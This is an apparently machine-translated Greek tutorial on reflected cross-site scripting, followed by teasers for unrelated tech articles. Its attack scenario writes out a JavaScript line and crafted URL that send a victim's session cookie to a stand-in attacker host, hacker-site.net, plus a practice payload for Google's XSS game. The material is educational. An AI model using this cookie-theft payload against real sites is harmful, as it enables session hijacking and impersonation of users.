Web7: XSS Exploits – Μέρος 1: Reflected XSS

Web7: XSS Exploits – Μέρος 1: Reflected XSS

Τι είναι η δέσμη ενεργειών μεταξύ τοποθεσιών;

Το Cross-Site Scripting (XSS) είναι μια από τις πιο δημοφιλείς τεχνικές επίθεσης σήμερα, γνωστή ως Godfather of Attack, και εδώ και πολλά χρόνια αναφέρεται ως η πιο επικίνδυνη τεχνική επίθεσης για εφαρμογές web.

Μην το ονομάζετε για συντομία CSS για να αποφύγετε τη σύγχυση με την έννοια του Cascading Style Sheet του HTML.
Η τεχνική
XSS βασίζεται στην εισαγωγή επικίνδυνων σεναρίων στον πηγαίο κώδικα της εφαρμογής Ιστού. Για την εκτέλεση κακόβουλου κώδικα Javascript για την ανάληψη της περιόδου σύνδεσης του χρήστη.

Για να καταλάβουμε καλύτερα, ας εξετάσουμε το ακόλουθο παράδειγμα. Μια εφαρμογή Ιστού που επιτρέπει την εκτύπωση της τιμής που μεταβιβάζουμε μέσω της διεύθυνσης URL, υποθέτοντας ότι μεταβιβάζουμε στη μεταβλητή ονόματος την τιμή Ping:

Web7: XSS Exploits – Μέρος 1: Reflected XSS

Όλα είναι καλά μέχρι στιγμής, ας εξετάσουμε τον πηγαίο κώδικα html:

Web7: XSS Exploits – Μέρος 1: Reflected XSS

Αυτό που είναι εύκολο να διαπιστωθεί είναι ότι η τιμή του ονόματος που πληκτρολογήσαμε έχει εισαχθεί στον πηγαίο κώδικα. Άρα είναι πιθανό να μπαίνει και ό,τι εισάγεται. Το πρόβλημα γίνεται σοβαρό εάν η τιμή που εισάγεται δεν είναι μια κανονική συμβολοσειρά όπως παραπάνω, αλλά ένα δυνητικά επικίνδυνο κομμάτι κώδικα, κάτι σαν αυτό:

 

Δοκιμάστε ξανά με την παραπάνω τιμή:

Web7: XSS Exploits – Μέρος 1: Reflected XSS

Από αυτό το παράδειγμα μπορούμε να συμπεράνουμε δύο πράγματα. Πρώτον, η μεταβλητή ονόματος μπορεί να λάβει οποιαδήποτε τιμή εισόδου και να τη μεταδώσει στον διακομιστή για επεξεργασία. Δεύτερον, ο διακομιστής δεν έλεγχε αυτήν την τιμή εισόδου πριν την επιστρέψει στο πρόγραμμα περιήγησης. Αυτό οδηγεί στην εισαγωγή του κώδικα javascript στον πηγαίο κώδικα.

Το XSS γενικά χωρίζεται σε 3 βασικούς τύπους: Reflected, Stored και DOM based. Σε αυτό το άρθρο θα αναφέρω κυρίως την τεχνική Reflected XSS.

Έως και το 75% των τεχνικών XSS βασίζονται στο Reflected XSS. Ονομάζεται αντανακλάται επειδή σε αυτόν τον τύπο σεναρίου εκμετάλλευσης, ο χάκερ πρέπει να στείλει στο θύμα μια διεύθυνση URL που περιέχει κακόβουλο κώδικα (συνήθως javascript). Το θύμα χρειάζεται μόνο να ζητήσει αυτήν τη διεύθυνση URL και ο χάκερ θα λάβει αμέσως μια απάντηση που περιέχει το επιθυμητό αποτέλεσμα (ανακλαστικότητα φαίνεται εδώ). Επιπλέον, είναι επίσης γνωστό ως πρώτης τάξης XSS.

Πραγματικό σενάριο εξόρυξης

Υπάρχουν πολλοί τρόποι για να εκμεταλλευτείτε το σφάλμα Reflected XSS, ένας από τους πιο γνωστούς τρόπους είναι να αναλάβετε τη συνεδρία του χρήστη, αποκτώντας έτσι τα δεδομένα και αποκτώντας τα δικαιώματά του στον ιστότοπο.

Οι λεπτομέρειες περιγράφονται στα ακόλουθα βήματα:

Web7: XSS Exploits – Μέρος 1: Reflected XSS

1. Ο χρήστης συνδέεται στον ιστό και υποθέτει ότι έχει εκχωρηθεί μια περίοδος λειτουργίας:

Set-Cookie: sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4

2. Με κάποιο τρόπο, ο χάκερ στέλνει στον χρήστη τη διεύθυνση URL:

http://example.com/name=var+i=new+Image;+i.src=”http://hacker-site.net/”%2bdocument.cookie;

Ας υποθέσουμε ότι το example.com είναι ο ιστότοπος που επισκέπτεται το θύμα, το hacker-site.net είναι ο ιστότοπος που δημιουργήθηκε από τον χάκερ

3. Το θύμα αποκτά πρόσβαση στην παραπάνω διεύθυνση URL

4. Ο διακομιστής απαντά στο θύμα, μαζί με τα δεδομένα που περιέχονται στο αίτημα (απόσπασμα javascript του χάκερ)

5. Το πρόγραμμα περιήγησης-θύμα λαμβάνει την απάντηση και εκτελεί το javascript

6. Η πραγματική javascript που δημιούργησε ο χάκερ είναι η εξής:

var i=new Image; i.src=”http://hacker-site.net/”+document.cookie;

Η παραπάνω γραμμή εντολών ουσιαστικά κάνει ένα αίτημα στον ιστότοπο του χάκερ με την παράμετρο να είναι το cookie χρήστη:

GET /sessId=5e2c648fa5ef8d653adeede595dcde6f638639e4e59d4 HTTP/1.1Host: hacker-site.net

7. Από τον ιστότοπό σας, ο χάκερ θα πιάσει το παραπάνω περιεχόμενο αιτήματος και θα θεωρήσει ότι η συνεδρία του χρήστη έχει αναληφθεί. Σε αυτό το σημείο, ο χάκερ μπορεί να υποδυθεί το θύμα και να ασκήσει όλα τα δικαιώματα στον ιστότοπο που έχει το θύμα.

Πρακτική

Η Google έχει δημιουργήσει μια σελίδα για την εξάσκηση στην εκμετάλλευση σφαλμάτων XSS εδώ: https://xss-game.appspot.com

Ο στόχος αυτών των προκλήσεων είναι ότι πρέπει να εισάγετε σενάρια για να εμφανιστεί ένα αναδυόμενο παράθυρο. Η πρώτη πρόκληση είναι να επεξηγηθεί η ανακλώμενη τεχνική, ο κώδικας εκμετάλλευσης είναι αρκετά απλός:

https://xss-game.appspot.com/level1/frame?query=alert('pwned')

Καλή τύχη!


Διόρθωση σφάλματος Δεν είναι δυνατό το άνοιγμα αυτού του στοιχείου στα Windows

Διόρθωση σφάλματος Δεν είναι δυνατό το άνοιγμα αυτού του στοιχείου στα Windows

Εάν χρησιμοποιείτε Windows, λαμβάνετε το μήνυμα λάθους Δεν είναι δυνατό να ανοίξει αυτό το στοιχείο. Μπορεί να έχει μετακινηθεί, μετονομαστεί ή διαγραφεί, τι πρέπει να κάνω; Ακολουθήστε το παρακάτω άρθρο για λεπτομέρειες.

Τι είναι το KRACK; Πώς το KRACK έσπασε το πρωτόκολλο ασφαλείας WPA2 WiFi

Τι είναι το KRACK; Πώς το KRACK έσπασε το πρωτόκολλο ασφαλείας WPA2 WiFi

Ο ερευνητής Mathy Vanhoef από το Πανεπιστήμιο του Leuven ανακάλυψε ένα σοβαρό ελάττωμα ασφαλείας στο πρωτόκολλο ασφαλείας δικτύου Wi-Fi Protected Access II (WPA2).

Συχνές ερωτήσεις σχετικά με τους προεπιλεγμένους κωδικούς πρόσβασης

Συχνές ερωτήσεις σχετικά με τους προεπιλεγμένους κωδικούς πρόσβασης

Στο σημερινό άρθρο, η Quantrimang θα συνοψίσει ορισμένες συχνές ερωτήσεις σχετικά με τους προεπιλεγμένους κωδικούς πρόσβασης για να βοηθήσει τους αναγνώστες να απαντήσουν σε ερωτήσεις που σχετίζονται με αυτό το ζήτημα.

Γιατί να χρησιμοποιήσετε το CyberGhost VPN;

Γιατί να χρησιμοποιήσετε το CyberGhost VPN;

Αυτό που χρειάζεστε είναι ένα VPN - το οποίο κάνει τις διάφορες επιλογές απλές και το CyberGhost VPN είναι ένα από τα κορυφαία VPN όσον αφορά την απλότητα.

Οι 3 κορυφαίες προκλήσεις ασφάλειας multicloud και πώς να δημιουργήσετε μια στρατηγική

Οι 3 κορυφαίες προκλήσεις ασφάλειας multicloud και πώς να δημιουργήσετε μια στρατηγική

Μια σειρά από βέλτιστες πρακτικές ασφάλειας έχουν προκύψει με την άνοδο των περιβαλλόντων multicloud και υπάρχουν ορισμένα σημαντικά βήματα που πρέπει να κάνουν όλοι οι οργανισμοί καθώς αναπτύσσουν τις δικές τους στρατηγικές ασφαλείας.

Εγκαταστήστε δυναμικές οθόνες και κινούμενες ταπετσαρίες στα Windows

Εγκαταστήστε δυναμικές οθόνες και κινούμενες ταπετσαρίες στα Windows

Στο λειτουργικό σύστημα Windows Vista της Microsoft, το DreamScene επέτρεψε τη ρύθμιση δυναμικού φόντου για υπολογιστές, αλλά οκτώ χρόνια αργότερα, δεν είναι ακόμα διαθέσιμο στα Windows 10. Γιατί αυτό το έθιμο αντιπροσωπεύει μια επιστροφή στο παρελθόν με τα χρόνια, και τι μπορούμε να κάνουμε για να το αλλάξουμε αυτό;

Πώς να συνδέσετε το δίκτυο μεταξύ 2 φορητών υπολογιστών χρησιμοποιώντας ένα καλώδιο δικτύου

Πώς να συνδέσετε το δίκτυο μεταξύ 2 φορητών υπολογιστών χρησιμοποιώντας ένα καλώδιο δικτύου

Αν θέλουμε να συνδέσουμε δύο φορητούς υπολογιστές στο δίκτυο, μπορούμε να χρησιμοποιήσουμε ένα καλώδιο δικτύου και μετά να αλλάξουμε τις διευθύνσεις IP των δύο υπολογιστών και τέλος.

Τρόπος επιδιόρθωσης Δεν έχετε άδεια αποθήκευσης σε αυτήν τη θέση στα Windows

Τρόπος επιδιόρθωσης Δεν έχετε άδεια αποθήκευσης σε αυτήν τη θέση στα Windows

Όταν τα Windows εμφανίζουν το σφάλμα "Δεν έχετε άδεια αποθήκευσης σε αυτήν τη θέση", αυτό θα σας εμποδίσει να αποθηκεύσετε αρχεία στους επιθυμητούς φακέλους.

Κορυφαίο το καλύτερο δωρεάν και επί πληρωμή λογισμικό διακομιστή Syslog για Windows

Κορυφαίο το καλύτερο δωρεάν και επί πληρωμή λογισμικό διακομιστή Syslog για Windows

Ο διακομιστής Syslog είναι ένα σημαντικό μέρος του οπλοστασίου ενός διαχειριστή IT, ειδικά όταν πρόκειται για τη διαχείριση αρχείων καταγραφής συμβάντων σε μια κεντρική τοποθεσία.

Τι είναι το Σφάλμα 524 Παρουσιάστηκε ένα χρονικό όριο λήξης και πώς να διορθώσετε το σφάλμα

Τι είναι το Σφάλμα 524 Παρουσιάστηκε ένα χρονικό όριο λήξης και πώς να διορθώσετε το σφάλμα

Σφάλμα 524: Παρουσιάστηκε ένα χρονικό όριο λήξης είναι ένας κωδικός κατάστασης HTTP για το Cloudflare που υποδεικνύει ότι η σύνδεση με τον διακομιστή έκλεισε λόγω χρονικού ορίου.